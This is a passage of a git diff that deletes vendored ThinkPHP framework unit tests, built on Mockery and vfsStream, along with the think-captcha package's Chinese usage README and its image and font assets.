+0,0 @@ -app = m::mock(App::class)->makePartial(); - - Container::setInstance($this->app); - $this->app->shouldReceive('make')->with(App::class)->andReturn($this->app); - $this->config = m::mock(Config::class)->makePartial(); - $this->app->shouldReceive('get')->with('config')->andReturn($this->config); - - $this->event = new Event($this->app); - } - - public function testBasic() - { - $this->event->bind(['foo' => 'baz']); - - $this->event->listen('foo', function ($bar) { - $this->assertEquals('bar', $bar); - }); - - $this->assertTrue($this->event->hasListener('foo')); - - $this->event->trigger('baz', 'bar'); - - $this->event->remove('foo'); - - $this->assertFalse($this->event->hasListener('foo')); - } - - public function testOnceEvent() - { - $this->event->listen('AppInit', function ($bar) { - $this->assertEquals('bar', $bar); - return 'foo'; - }); - - $this->assertEquals('foo', $this->event->trigger('AppInit', 'bar', true)); - $this->assertEquals(['foo'], $this->event->trigger('AppInit', 'bar')); - } - - public function testClassListener() - { - $listener = m::mock("overload:SomeListener", TestListener::class); - - $listener->shouldReceive('handle')->andReturnTrue(); - - $this->event->listen('some', "SomeListener"); - - $this->assertTrue($this->event->until('some')); - } - - public function testSubscribe() - { - $listener = m::mock("overload:SomeListener", TestListener::class); - - $listener->shouldReceive('subscribe')->andReturnUsing(function (Event $event) use ($listener) { - - $listener->shouldReceive('onBar')->once()->andReturnFalse(); - - $event->listenEvents(['SomeListener::onBar' => [[$listener, 'onBar']]]); - }); - - $this->event->subscribe('SomeListener'); - - $this->assertTrue($this->event->hasListener('SomeListener::onBar')); - - $this->event->trigger('SomeListener::onBar'); - } - - public function testAutoObserve() - { - $listener = m::mock("overload:SomeListener", TestListener::class); - - $listener->shouldReceive('onBar')->once(); - - $this->app->shouldReceive('make')->with('SomeListener')->andReturn($listener); - - $this->event->observe('SomeListener'); - - $this->event->trigger('bar'); - } - -} - -class TestListener -{ - public function handle() - { - - } - - public function onBar() - { - - } - - public function onFoo() - { - - } - - public function subscribe() - { - - } -} diff --git a/vendor/topthink/framework/tests/FilesystemTest.php b/vendor/topthink/framework/tests/FilesystemTest.php deleted file mode 100644 index df5ffe2..0000000 --- a/vendor/topthink/framework/tests/FilesystemTest.php +++ /dev/null @@ -1,131 +0,0 @@ -app = m::mock(App::class)->makePartial(); - Container::setInstance($this->app); - $this->app->shouldReceive('make')->with(App::class)->andReturn($this->app); - $this->config = m::mock(Config::class); - $this->config->shouldReceive('get')->with('filesystem.default', null)->andReturn('local'); - $this->app->shouldReceive('get')->with('config')->andReturn($this->config); - $this->filesystem = new Filesystem($this->app); - - $this->root = vfsStream::setup('rootDir'); - } - - protected function tearDown(): void - { - m::close(); - } - - public function testDisk() - { - $this->config->shouldReceive('get')->with('filesystem.disks.local', null)->andReturn([ - 'type' => 'local', - 'root' => $this->root->url(), - ]); - - $this->config->shouldReceive('get')->with('filesystem.disks.foo', null)->andReturn([ - 'type' => 'local', - 'root' => $this->root->url(), - ]); - - $this->assertInstanceOf(Local::class, $this->filesystem->disk()); - - $this->assertInstanceOf(Local::class, $this->filesystem->disk('foo')); - } - - public function testCache() - { - $this->config->shouldReceive('get')->with('filesystem.disks.local', null)->andReturn([ - 'type' => 'local', - 'root' => $this->root->url(), - 'cache' => true, - ]); - - $this->assertInstanceOf(Local::class, $this->filesystem->disk()); - - $this->config->shouldReceive('get')->with('filesystem.disks.cache', null)->andReturn([ - 'type' => NullDriver::class, - 'root' => $this->root->url(), - 'cache' => [ - 'store' => 'flysystem', - ], - ]); - - $cache = m::mock(Cache::class); - - $cacheDriver = m::mock(File::class); - - $cache->shouldReceive('store')->once()->with('flysystem')->andReturn($cacheDriver); - - $this->app->shouldReceive('make')->with(Cache::class)->andReturn($cache); - - $cacheDriver->shouldReceive('get')->with('flysystem')->once()->andReturn(null); - - $cacheDriver->shouldReceive('set')->withAnyArgs(); - - $this->filesystem->disk('cache')->put('test.txt', 'aa'); - } - - public function testPutFile() - { - $root = vfsStream::setup('rootDir', null, [ - 'foo.jpg' => 'hello', - ]); - - $this->config->shouldReceive('get')->with('filesystem.disks.local', null)->andReturn([ - 'type' => NullDriver::class, - 'root' => $root->url(), - 'cache' => true, - ]); - - $file = m::mock(\think\File::class); - - $file->shouldReceive('hashName')->with(null)->once()->andReturn('foo.jpg'); - - $file->shouldReceive('getRealPath')->once()->andReturn($root->getChild('foo.jpg')->url()); - - $this->filesystem->putFile('test', $file); - } -} - -class NullDriver extends Driver -{ - protected function createAdapter(): AdapterInterface - { - return new NullAdapter(); - } -} diff --git a/vendor/topthink/framework/tests/HttpTest.php b/vendor/topthink/framework/tests/HttpTest.php deleted file mode 100644 index c3e0abd..0000000 --- a/vendor/topthink/framework/tests/HttpTest.php +++ /dev/null @@ -1,155 +0,0 @@ -app = m::mock(App::class)->makePartial(); - - $this->http = m::mock(Http::class, [$this->app])->shouldAllowMockingProtectedMethods()->makePartial(); - } - - protected function prepareApp($request, $response) - { - $this->app->shouldReceive('instance')->once()->with('request', $request); - $this->app->shouldReceive('initialized')->once()->andReturnFalse(); - $this->app->shouldReceive('initialize')->once(); - $this->app->shouldReceive('get')->with('request')->andReturn($request); - - $route = m::mock(Route::class); - - $route->shouldReceive('dispatch')->withArgs(function ($req, $withRoute) use ($request) { - if ($withRoute) { - $withRoute(); - } - return $req === $request; - })->andReturn($response); - - $route->shouldReceive('config')->with('route_annotation')->andReturn(true); - - $this->app->shouldReceive('get')->with('route')->andReturn($route); - - $console = m::mock(Console::class); - - $console->shouldReceive('call'); - - $this->app->shouldReceive('get')->with('console')->andReturn($console); - } - - public function testRun() - { - $root = vfsStream::setup('rootDir', null, [ - 'app' => [ - 'controller' => [], - 'middleware.php' => ' [ - 'route.php' => 'app->shouldReceive('getBasePath')->andReturn($root->getChild('app')->url() . DIRECTORY_SEPARATOR); - $this->app->shouldReceive('getRootPath')->andReturn($root->url() . DIRECTORY_SEPARATOR); - - $request = m::mock(Request::class)->makePartial(); - $response = m::mock(Response::class)->makePartial(); - - $this->prepareApp($request, $response); - - $this->assertEquals($response, $this->http->run($request)); - } - - public function multiAppRunProvider() - { - $request1 = m::mock(Request::class)->makePartial(); - $request1->shouldReceive('subDomain')->andReturn('www'); - $request1->shouldReceive('host')->andReturn('www.domain.com'); - - $request2 = m::mock(Request::class)->makePartial(); - $request2->shouldReceive('subDomain')->andReturn('app2'); - $request2->shouldReceive('host')->andReturn('app2.domain.com'); - - $request3 = m::mock(Request::class)->makePartial(); - $request3->shouldReceive('pathinfo')->andReturn('some1/a/b/c'); - - $request4 = m::mock(Request::class)->makePartial(); - $request4->shouldReceive('pathinfo')->andReturn('app3/a/b/c'); - - $request5 = m::mock(Request::class)->makePartial(); - $request5->shouldReceive('pathinfo')->andReturn('some2/a/b/c'); - - return [ - [$request1, true, 'app1'], - [$request2, true, 'app2'], - [$request3, true, 'app3'], - [$request4, true, null], - [$request5, true, 'some2', 'path'], - [$request1, false, 'some3'], - ]; - } - - public function testRunWithException() - { - $request = m::mock(Request::class); - $response = m::mock(Response::class); - - $this->app->shouldReceive('instance')->once()->with('request', $request); - $this->app->shouldReceive('initialize')->once(); - - $exception = new Exception(); - - $this->http->shouldReceive('runWithRequest')->once()->with($request)->andThrow($exception); - - $handle = m::mock(Handle::class); - - $handle->shouldReceive('report')->once()->with($exception); - $handle->shouldReceive('render')->once()->with($request, $exception)->andReturn($response); - - $this->app->shouldReceive('make')->with(Handle::class)->andReturn($handle); - - $this->assertEquals($response, $this->http->run($request)); - } - - public function testEnd() - { - $response = m::mock(Response::class); - $event = m::mock(Event::class); - $event->shouldReceive('trigger')->once()->with(HttpEnd::class, $response); - $this->app->shouldReceive('get')->once()->with('event')->andReturn($event); - $log = m::mock(Log::class); - $log->shouldReceive('save')->once(); - $this->app->shouldReceive('get')->once()->with('log')->andReturn($log); - - $this->http->end($response); - } - -} diff --git a/vendor/topthink/framework/tests/InteractsWithApp.php b/vendor/topthink/framework/tests/InteractsWithApp.php deleted file mode 100644 index f4fcf73..0000000 --- a/vendor/topthink/framework/tests/InteractsWithApp.php +++ /dev/null @@ -1,30 +0,0 @@ -app = m::mock(App::class)->makePartial(); - Container::setInstance($this->app); - $this->app->shouldReceive('make')->with(App::class)->andReturn($this->app); - $this->app->shouldReceive('isDebug')->andReturnTrue(); - $this->config = m::mock(Config::class)->makePartial(); - $this->config->shouldReceive('get')->with('app.show_error_msg')->andReturnTrue(); - $this->app->shouldReceive('get')->with('config')->andReturn($this->config); - $this->app->shouldReceive('runningInConsole')->andReturn(false); - } -} diff --git a/vendor/topthink/framework/tests/LogTest.php b/vendor/topthink/framework/tests/LogTest.php deleted file mode 100644 index 981110f..0000000 --- a/vendor/topthink/framework/tests/LogTest.php +++ /dev/null @@ -1,130 +0,0 @@ -prepareApp(); - - $this->log = new Log($this->app); - } - - public function testGetConfig() - { - $config = [ - 'default' => 'file', - ]; - - $this->config->shouldReceive('get')->with('log')->andReturn($config); - - $this->assertEquals($config, $this->log->getConfig()); - - $this->expectException(InvalidArgumentException::class); - $this->log->getChannelConfig('foo'); - } - - public function testChannel() - { - $this->assertInstanceOf(ChannelSet::class, $this->log->channel(['file', 'mail'])); - } - - public function testLogManagerInstances() - { - $this->config->shouldReceive('get')->with("log.channels.single", null)->andReturn(['type' => 'file']); - - $channel1 = $this->log->channel('single'); - $channel2 = $this->log->channel('single'); - - $this->assertSame($channel1, $channel2); - } - - public function testFileLog() - { - $root = vfsStream::setup(); - - $this->config->shouldReceive('get')->with("log.default", null)->andReturn('file'); - - $this->config->shouldReceive('get')->with("log.channels.file", null)->andReturn(['type' => 'file', 'path' => $root->url()]); - - $this->log->info('foo'); - - $this->assertEquals($this->log->getLog(), ['info' => ['foo']]); - - $this->log->clear(); - - $this->assertEmpty($this->log->getLog()); - - $this->log->error('foo'); - $this->assertArrayHasKey('error', $this->log->getLog()); - - $this->log->emergency('foo'); - $this->assertArrayHasKey('emergency', $this->log->getLog()); - - $this->log->alert('foo'); - $this->assertArrayHasKey('alert', $this->log->getLog()); - - $this->log->critical('foo'); - $this->assertArrayHasKey('critical', $this->log->getLog()); - - $this->log->warning('foo'); - $this->assertArrayHasKey('warning', $this->log->getLog()); - - $this->log->notice('foo'); - $this->assertArrayHasKey('notice', $this->log->getLog()); - - $this->log->debug('foo'); - $this->assertArrayHasKey('debug', $this->log->getLog()); - - $this->log->sql('foo'); - $this->assertArrayHasKey('sql', $this->log->getLog()); - - $this->log->custom('foo'); - $this->assertArrayHasKey('custom', $this->log->getLog()); - - $this->log->write('foo'); - $this->assertTrue($root->hasChildren()); - $this->assertEmpty($this->log->getLog()); - - $this->log->close(); - - $this->log->info('foo'); - - $this->assertEmpty($this->log->getLog()); - } - - public function testSave() - { - $root = vfsStream::setup(); - - $this->config->shouldReceive('get')->with("log.default", null)->andReturn('file'); - - $this->config->shouldReceive('get')->with("log.channels.file", null)->andReturn(['type' => 'file', 'path' => $root->url()]); - - $this->log->info('foo'); - - $this->log->save(); - - $this->assertTrue($root->hasChildren()); - } - -} diff --git a/vendor/topthink/framework/tests/MiddlewareTest.php b/vendor/topthink/framework/tests/MiddlewareTest.php deleted file mode 100644 index aa53059..0000000 --- a/vendor/topthink/framework/tests/MiddlewareTest.php +++ /dev/null @@ -1,108 +0,0 @@ -prepareApp(); - - $this->middleware = new Middleware($this->app); - } - - public function testSetMiddleware() - { - $this->middleware->add('BarMiddleware', 'bar'); - - $this->assertEquals(1, count($this->middleware->all('bar'))); - - $this->middleware->controller('BarMiddleware'); - $this->assertEquals(1, count($this->middleware->all('controller'))); - - $this->middleware->import(['FooMiddleware']); - $this->assertEquals(1, count($this->middleware->all())); - - $this->middleware->unshift(['BazMiddleware', 'baz']); - $this->assertEquals(2, count($this->middleware->all())); - $this->assertEquals([['BazMiddleware', 'handle'], 'baz'], $this->middleware->all()[0]); - - $this->config->shouldReceive('get')->with('middleware.alias', [])->andReturn(['foo' => ['FooMiddleware', 'FarMiddleware']]); - - $this->middleware->add('foo'); - $this->assertEquals(3, count($this->middleware->all())); - $this->middleware->add(function () { - }); - $this->middleware->add(function () { - }); - $this->assertEquals(5, count($this->middleware->all())); - } - - public function testPipelineAndEnd() - { - $bar = m::mock("overload:BarMiddleware"); - $foo = m::mock("overload:FooMiddleware", Foo::class); - - $request = m::mock(Request::class); - $response = m::mock(Response::class); - - $e = new Exception(); - - $handle = m::mock(Handle::class); - $handle->shouldReceive('report')->with($e)->andReturnNull(); - $handle->shouldReceive('render')->with($request, $e)->andReturn($response); - - $foo->shouldReceive('handle')->once()->andReturnUsing(function ($request, $next) { - return $next($request); - }); - $bar->shouldReceive('handle')->once()->andReturnUsing(function ($request, $next) use ($e) { - $next($request); - throw $e; - }); - - $foo->shouldReceive('end')->once()->with($response)->andReturnNull(); - - $this->app->shouldReceive('make')->with(Handle::class)->andReturn($handle); - - $this->config->shouldReceive('get')->once()->with('middleware.priority', [])->andReturn(['FooMiddleware', 'BarMiddleware']); - - $this->middleware->import([function ($request, $next) { - return $next($request); - }, 'BarMiddleware', 'FooMiddleware']); - - $this->assertInstanceOf(Pipeline::class, $pipeline = $this->middleware->pipeline()); - - $pipeline->send($request)->then(function ($request) use ($e, $response) { - throw $e; - }); - - $this->middleware->end($response); - } -} - -class Foo -{ - public function end(Response $response) - { - } -} diff --git a/vendor/topthink/framework/tests/RouteTest.php b/vendor/topthink/framework/tests/RouteTest.php deleted file mode 100644 index e992d0f..0000000 --- a/vendor/topthink/framework/tests/RouteTest.php +++ /dev/null @@ -1,286 +0,0 @@ -prepareApp(); - $this->route = new Route($this->app); - } - - /** - * @param $path - * @param string $method - * @param string $host - * @return m\Mock|Request - */ - protected function makeRequest($path, $method = 'GET', $host = 'localhost') - { - $request = m::mock(Request::class)->makePartial(); - $request->shouldReceive('host')->andReturn($host); - $request->shouldReceive('pathinfo')->andReturn($path); - $request->shouldReceive('url')->andReturn('/' . $path); - $request->shouldReceive('method')->andReturn(strtoupper($method)); - return $request; - } - - public function testSimpleRequest() - { - $this->route->get('foo', function () { - return 'get-foo'; - }); - - $this->route->put('foo', function () { - return 'put-foo'; - }); - - $this->route->group(function () { - $this->route->post('foo', function () { - return 'post-foo'; - }); - }); - - $request = $this->makeRequest('foo', 'post'); - $response = $this->route->dispatch($request); - $this->assertEquals(200, $response->getCode()); - $this->assertEquals('post-foo', $response->getContent()); - - $request = $this->makeRequest('foo', 'get'); - $response = $this->route->dispatch($request); - $this->assertEquals(200, $response->getCode()); - $this->assertEquals('get-foo', $response->getContent()); - } - - public function testOptionsRequest() - { - $this->route->get('foo', function () { - return 'get-foo'; - }); - - $this->route->put('foo', function () { - return 'put-foo'; - }); - - $this->route->group(function () { - $this->route->post('foo', function () { - return 'post-foo'; - }); - }); - $this->route->group('abc', function () { - $this->route->post('foo/:id', function () { - return 'post-abc-foo'; - }); - }); - - $this->route->post('foo/:id', function () { - return 'post-abc-foo'; - }); - - $this->route->resource('bar', 'SomeClass'); - - $request = $this->makeRequest('foo', 'options'); - $response = $this->route->dispatch($request); - $this->assertEquals(204, $response->getCode()); - $this->assertEquals('GET, PUT, POST', $response->getHeader('Allow')); - - $request = $this->makeRequest('bar', 'options'); - $response = $this->route->dispatch($request); - $this->assertEquals(204, $response->getCode()); - $this->assertEquals('GET, POST', $response->getHeader('Allow')); - - $request = $this->makeRequest('bar/1', 'options'); - $response = $this->route->dispatch($request); - $this->assertEquals(204, $response->getCode()); - $this->assertEquals('GET, PUT, DELETE', $response->getHeader('Allow')); - - $request = $this->makeRequest('xxxx', 'options'); - $response = $this->route->dispatch($request); - $this->assertEquals(204, $response->getCode()); - $this->assertEquals('GET, POST, PUT, DELETE', $response->getHeader('Allow')); - } - - public function testAllowCrossDomain() - { - $this->route->get('foo', function () { - return 'get-foo'; - })->allowCrossDomain(['some' => 'bar']); - - $request = $this->makeRequest('foo', 'get'); - $response = $this->route->dispatch($request); - - $this->assertEquals('bar', $response->getHeader('some')); - $this->assertArrayHasKey('Access-Control-Allow-Credentials', $response->getHeader()); - - $request = $this->makeRequest('foo2', 'options'); - $response = $this->route->dispatch($request); - - $this->assertEquals(204, $response->getCode()); - $this->assertArrayHasKey('Access-Control-Allow-Credentials', $response->getHeader()); - $this->assertEquals('GET, POST, PUT, DELETE', $response->getHeader('Allow')); - } - - public function testControllerDispatch() - { - $this->route->get('foo', 'foo/bar'); - - $controller = m::Mock(\stdClass::class); - - $this->app->shouldReceive('parseClass')->with('controller', 'Foo')->andReturn($controller->mockery_getName()); - $this->app->shouldReceive('make')->with($controller->mockery_getName(), [], true)->andReturn($controller); - - $controller->shouldReceive('bar')->andReturn('bar'); - - $request = $this->makeRequest('foo'); - $response = $this->route->dispatch($request); - $this->assertEquals('bar', $response->getContent()); - } - - public function testEmptyControllerDispatch() - { - $this->route->get('foo', 'foo/bar'); - - $controller = m::Mock(\stdClass::class); - - $this->app->shouldReceive('parseClass')->with('controller', 'Error')->andReturn($controller->mockery_getName()); - $this->app->shouldReceive('make')->with($controller->mockery_getName(), [], true)->andReturn($controller); - - $controller->shouldReceive('bar')->andReturn('bar'); - - $request = $this->makeRequest('foo'); - $response = $this->route->dispatch($request); - $this->assertEquals('bar', $response->getContent()); - } - - protected function createMiddleware($times = 1) - { - $middleware = m::mock(Str::random(5)); - $middleware->shouldReceive('handle')->times($times)->andReturnUsing(function ($request, Closure $next) { - return $next($request); - }); - $this->app->shouldReceive('make')->with($middleware->mockery_getName())->andReturn($middleware); - - return $middleware; - } - - public function testControllerWithMiddleware() - { - $this->route->get('foo', 'foo/bar'); - - $controller = m::mock(FooClass::class); - - $controller->middleware = [ - $this->createMiddleware()->mockery_getName() . ":params1:params2", - $this->createMiddleware(0)->mockery_getName() => ['except' => 'bar'], - $this->createMiddleware()->mockery_getName() => ['only' => 'bar'], - ]; - - $this->app->shouldReceive('parseClass')->with('controller', 'Foo')->andReturn($controller->mockery_getName()); - $this->app->shouldReceive('make')->with($controller->mockery_getName(), [], true)->andReturn($controller); - - $controller->shouldReceive('bar')->once()->andReturn('bar'); - - $request = $this->makeRequest('foo'); - $response = $this->route->dispatch($request); - $this->assertEquals('bar', $response->getContent()); - } - - public function testUrlDispatch() - { - $controller = m::mock(FooClass::class); - $controller->shouldReceive('index')->andReturn('bar'); - - $this->app->shouldReceive('parseClass')->once()->with('controller', 'Foo')->andReturn($controller->mockery_getName()); - $this->app->shouldReceive('make')->with($controller->mockery_getName(), [], true)->andReturn($controller); - - $request = $this->makeRequest('foo'); - $response = $this->route->dispatch($request); - $this->assertEquals('bar', $response->getContent()); - } - - public function testRedirectDispatch() - { - $this->route->redirect('foo', 'http://localhost', 302); - - $request = $this->makeRequest('foo'); - $this->app->shouldReceive('make')->with(Request::class)->andReturn($request); - $response = $this->route->dispatch($request); - - $this->assertInstanceOf(Redirect::class, $response); - $this->assertEquals(302, $response->getCode()); - $this->assertEquals('http://localhost', $response->getData()); - } - - public function testViewDispatch() - { - $this->route->view('foo', 'index/hello', ['city' => 'shanghai']); - - $request = $this->makeRequest('foo'); - $response = $this->route->dispatch($request); - - $this->assertInstanceOf(View::class, $response); - $this->assertEquals(['city' => 'shanghai'], $response->getVars()); - $this->assertEquals('index/hello', $response->getData()); - } - - public function testResponseDispatch() - { - $this->route->get('hello/:name', response() - ->data('Hello,ThinkPHP') - ->code(200) - ->contentType('text/plain')); - - $request = $this->makeRequest('hello/some'); - $response = $this->route->dispatch($request); - - $this->assertEquals('Hello,ThinkPHP', $response->getContent()); - $this->assertEquals(200, $response->getCode()); - } - - public function testDomainBindResponse() - { - $this->route->domain('test', function () { - $this->route->get('/', function () { - return 'Hello,ThinkPHP'; - }); - }); - - $request = $this->makeRequest('', 'get', 'test.domain.com'); - $response = $this->route->dispatch($request); - - $this->assertEquals('Hello,ThinkPHP', $response->getContent()); - $this->assertEquals(200, $response->getCode()); - } - -} - -class FooClass -{ - public $middleware = []; - - public function bar() - { - - } -} diff --git a/vendor/topthink/framework/tests/SessionTest.php b/vendor/topthink/framework/tests/SessionTest.php deleted file mode 100644 index b3b48a7..0000000 --- a/vendor/topthink/framework/tests/SessionTest.php +++ /dev/null @@ -1,225 +0,0 @@ -app = m::mock(App::class)->makePartial(); - Container::setInstance($this->app); - - $this->app->shouldReceive('make')->with(App::class)->andReturn($this->app); - $this->config = m::mock(Config::class)->makePartial(); - - $this->app->shouldReceive('get')->with('config')->andReturn($this->config); - $handlerClass = "\\think\\session\\driver\\Test" . Str::random(10); - $this->config->shouldReceive("get")->with("session.type", "file")->andReturn($handlerClass); - $this->session = new Session($this->app); - - $this->handler = m::mock('overload:' . $handlerClass, SessionHandlerInterface::class); - } - - public function testLoadData() - { - $data = [ - "bar" => 'foo', - ]; - - $id = md5(uniqid()); - - $this->handler->shouldReceive("read")->once()->with($id)->andReturn(serialize($data)); - - $this->session->setId($id); - $this->session->init(); - - $this->assertEquals('foo', $this->session->get('bar')); - $this->assertTrue($this->session->has('bar')); - $this->assertFalse($this->session->has('foo')); - - $this->session->set('foo', 'bar'); - $this->assertTrue($this->session->has('foo')); - - $this->assertEquals('bar', $this->session->pull('foo')); - $this->assertFalse($this->session->has('foo')); - } - - public function testSave() - { - - $id = md5(uniqid()); - - $this->handler->shouldReceive('read')->once()->with($id)->andReturn(""); - - $this->handler->shouldReceive('write')->once()->with($id, serialize([ - "bar" => 'foo', - ]))->andReturnTrue(); - - $this->session->setId($id); - $this->session->init(); - - $this->session->set('bar', 'foo'); - - $this->session->save(); - } - - public function testFlash() - { - $this->session->flash('foo', 'bar'); - $this->session->flash('bar', 0); - $this->session->flash('baz', true); - - $this->assertTrue($this->session->has('foo')); - $this->assertEquals('bar', $this->session->get('foo')); - $this->assertEquals(0, $this->session->get('bar')); - $this->assertTrue($this->session->get('baz')); - - $this->session->clearFlashData(); - - $this->assertTrue($this->session->has('foo')); - $this->assertEquals('bar', $this->session->get('foo')); - $this->assertEquals(0, $this->session->get('bar')); - - $this->session->clearFlashData(); - - $this->assertFalse($this->session->has('foo')); - $this->assertNull($this->session->get('foo')); - - $this->session->flash('foo', 'bar'); - $this->assertTrue($this->session->has('foo')); - $this->session->clearFlashData(); - $this->session->reflash(); - $this->session->clearFlashData(); - - $this->assertTrue($this->session->has('foo')); - } - - public function testClear() - { - $this->session->set('bar', 'foo'); - $this->assertEquals('foo', $this->session->get('bar')); - $this->session->clear(); - $this->assertFalse($this->session->has('foo')); - } - - public function testSetName() - { - $this->session->setName('foo'); - $this->assertEquals('foo', $this->session->getName()); - } - - public function testDestroy() - { - $id = md5(uniqid()); - - $this->handler->shouldReceive('read')->once()->with($id)->andReturn(""); - $this->handler->shouldReceive('delete')->once()->with($id)->andReturnTrue(); - - $this->session->setId($id); - $this->session->init(); - - $this->session->set('bar', 'foo'); - - $this->session->destroy(); - - $this->assertFalse($this->session->has('bar')); - - $this->assertNotEquals($id, $this->session->getId()); - } - - public function testFileHandler() - { - $root = vfsStream::setup(); - - vfsStream::newFile('bar') - ->at($root) - ->lastModified(time()); - - vfsStream::newFile('bar') - ->at(vfsStream::newDirectory("foo")->at($root)) - ->lastModified(100); - - $this->assertTrue($root->hasChild("bar")); - $this->assertTrue($root->hasChild("foo/bar")); - - $handler = new TestFileHandle($this->app, [ - 'path' => $root->url(), - 'gc_probability' => 1, - 'gc_divisor' => 1, - ]); - - $this->assertTrue($root->hasChild("bar")); - $this->assertFalse($root->hasChild("foo/bar")); - - $id = md5(uniqid()); - $handler->write($id, "bar"); - - $this->assertTrue($root->hasChild("sess_{$id}")); - - $this->assertEquals("bar", $handler->read($id)); - - $handler->delete($id); - - $this->assertFalse($root->hasChild("sess_{$id}")); - } - - public function testCacheHandler() - { - $id = md5(uniqid()); - - $cache = m::mock(\think\Cache::class); - - $store = m::mock(Driver::class); - - $cache->shouldReceive('store')->once()->with('redis')->andReturn($store); - - $handler = new Cache($cache, ['store' => 'redis']); - - $store->shouldReceive("set")->with($id, "bar", 1440)->once()->andReturnTrue(); - $handler->write($id, "bar"); - - $store->shouldReceive("get")->with($id)->once()->andReturn("bar"); - $this->assertEquals("bar", $handler->read($id)); - - $store->shouldReceive("delete")->with($id)->once()->andReturnTrue(); - $handler->delete($id); - } -} - -class TestFileHandle extends File -{ - protected function writeFile($path, $content): bool - { - return (bool) file_put_contents($path, $content); - } -} diff --git a/vendor/topthink/framework/tests/ViewTest.php b/vendor/topthink/framework/tests/ViewTest.php deleted file mode 100644 index e413510..0000000 --- a/vendor/topthink/framework/tests/ViewTest.php +++ /dev/null @@ -1,127 +0,0 @@ -app = m::mock(App::class)->makePartial(); - Container::setInstance($this->app); - - $this->app->shouldReceive('make')->with(App::class)->andReturn($this->app); - $this->config = m::mock(Config::class)->makePartial(); - $this->app->shouldReceive('get')->with('config')->andReturn($this->config); - - $this->view = new View($this->app); - } - - public function testAssignData() - { - $this->view->assign('foo', 'bar'); - $this->view->assign(['baz' => 'boom']); - $this->view->qux = "corge"; - - $this->assertEquals('bar', $this->view->foo); - $this->assertEquals('boom', $this->view->baz); - $this->assertEquals('corge', $this->view->qux); - $this->assertTrue(isset($this->view->qux)); - } - - public function testRender() - { - $this->config->shouldReceive("get")->with("view.type", 'php')->andReturn(TestTemplate::class); - - $this->view->filter(function ($content) { - return $content; - }); - - $this->assertEquals("fetch", $this->view->fetch('foo')); - $this->assertEquals("display", $this->view->display('foo')); - } - -} - -class TestTemplate implements TemplateHandlerInterface -{ - - /** - * 检测是否存在模板文件 - * @access public - * @param string $template 模板文件或者模板规则 - * @return bool - */ - public function exists(string $template): bool - { - return true; - } - - /** - * 渲染模板文件 - * @access public - * @param string $template 模板文件 - * @param array $data 模板变量 - * @return void - */ - public function fetch(string $template, array $data = []): void - { - echo "fetch"; - } - - /** - * 渲染模板内容 - * @access public - * @param string $content 模板内容 - * @param array $data 模板变量 - * @return void - */ - public function display(string $content, array $data = []): void - { - echo "display"; - } - - /** - * 配置模板引擎 - * @access private - * @param array $config 参数 - * @return void - */ - public function config(array $config): void - { - // TODO: Implement config() method. - } - - /** - * 获取模板引擎配置 - * @access public - * @param string $name 参数名 - * @return void - */ - public function getConfig(string $name) - { - // TODO: Implement getConfig() method. - } -} diff --git a/vendor/topthink/framework/tests/bootstrap.php b/vendor/topthink/framework/tests/bootstrap.php deleted file mode 100644 index 3459061..0000000 --- a/vendor/topthink/framework/tests/bootstrap.php +++ /dev/null @@ -1,3 +0,0 @@ - composer require topthink/think-captcha - - - -## 使用 - -### 在控制器中输出验证码 - -在控制器的操作方法中使用 - -~~~ -public function captcha($id = '') -{ - return captcha($id); -} -~~~ -然后注册对应的路由来输出验证码 - - -### 模板里输出验证码 - -首先要在你应用的路由定义文件中,注册一个验证码路由规则。 - -~~~ -\think\facade\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index"); -~~~ - -然后就可以在模板文件中使用 -~~~ -
    {:captcha_img()}
    -~~~ -或者 -~~~ -
    captcha
    -~~~ -> 上面两种的最终效果是一样的 - - -### 控制器里验证 - -使用TP的内置验证功能即可 -~~~ -$this->validate($data,[ - 'captcha|验证码'=>'require|captcha' -]); -~~~ -或者手动验证 -~~~ -if(!captcha_check($captcha)){ - //验证失败 -}; -~~~ \ No newline at end of file diff --git a/vendor/topthink/think-captcha/assets/bgs/1.jpg b/vendor/topthink/think-captcha/assets/bgs/1.jpg deleted file mode 100644 index d417136..0000000 Binary files a/vendor/topthink/think-captcha/assets/bgs/1.jpg and /dev/null differ diff --git a/vendor/topthink/think-captcha/assets/bgs/2.jpg b/vendor/topthink/think-captcha/assets/bgs/2.jpg deleted file mode 100644 index 56640bd..0000000 Binary files a/vendor/topthink/think-captcha/assets/bgs/2.jpg and /dev/null differ diff --git a/vendor/topthink/think-captcha/assets/bgs/3.jpg b/vendor/topthink/think-captcha/assets/bgs/3.jpg deleted file mode 100644 index 83e5bd9..0000000 Binary files a/vendor/topthink/think-captcha/assets/bgs/3.jpg and /dev/null differ diff --git a/vendor/topthink/think-captcha/assets/bgs/4.jpg b/vendor/topthink/think-captcha/assets/bgs/4.jpg deleted file mode 100644 index 97a3721..0000000 Binary files a/vendor/topthink/think-captcha/assets/bgs/4.jpg and /dev/null differ diff --git a/vendor/topthink/think-captcha/assets/bgs/5.jpg b/vendor/topthink/think-captcha/assets/bgs/5.jpg deleted file mode 100644 index 220a17a..0000000 Binary files a/vendor/topthink/think-captcha/assets/bgs/5.jpg and /dev/null differ diff --git a/vendor/topthink/think-captcha/assets/bgs/6.jpg b/vendor/topthink/think-captcha/assets/bgs/6.jpg deleted file mode 100644 index be53ea0..0000000 Binary files a/vendor/topthink/think-captcha/assets/bgs/6.jpg and /dev/null differ diff --git a/vendor/topthink/think-captcha/assets/bgs/7.jpg b/vendor/topthink/think-captcha/assets/bgs/7.jpg deleted file mode 100644 index fbf537f..0000000 Binary files a/vendor/topthink/think-captcha/assets/bgs/7.jpg and /dev/null differ diff --git a/vendor/topthink/think-captcha/assets/bgs/8.jpg b/vendor/topthink/think-captcha/assets/bgs/8.jpg deleted file mode 100644 index e10cf28..0000000 Binary files a/vendor/topthink/think-captcha/assets/bgs/8.jpg and /dev/null differ diff --git a/vendor/topthink/think-captcha/assets/ttfs/1.ttf b/vendor/topthink/think-captcha/assets/ttfs/1.ttf deleted file mode 100644 index 9eae6f2..0000000 Binary files a/vendor/topthink/think-captcha/assets/ttfs/1.ttf and /dev/null differ diff --git a/vendor/topthink/think-captcha/assets/ttfs/2.ttf b/vendor/topthink/think-captcha/assets/ttfs/2.ttf deleted file mode 100644 index 6386c6b..0000000 Binary files a/vendor/topthink/think-captcha/assets/ttfs/2.ttf and /dev/null differ diff --git a/vendor/topthink/think-captcha/assets/ttfs/3.ttf b/vendor/topthink/think-captcha/assets/ttfs/3.ttf deleted file mode 100644 index 678a491..0000000 Binary files a/vendor/topthink/think-captcha/assets/ttfs/3.ttf and 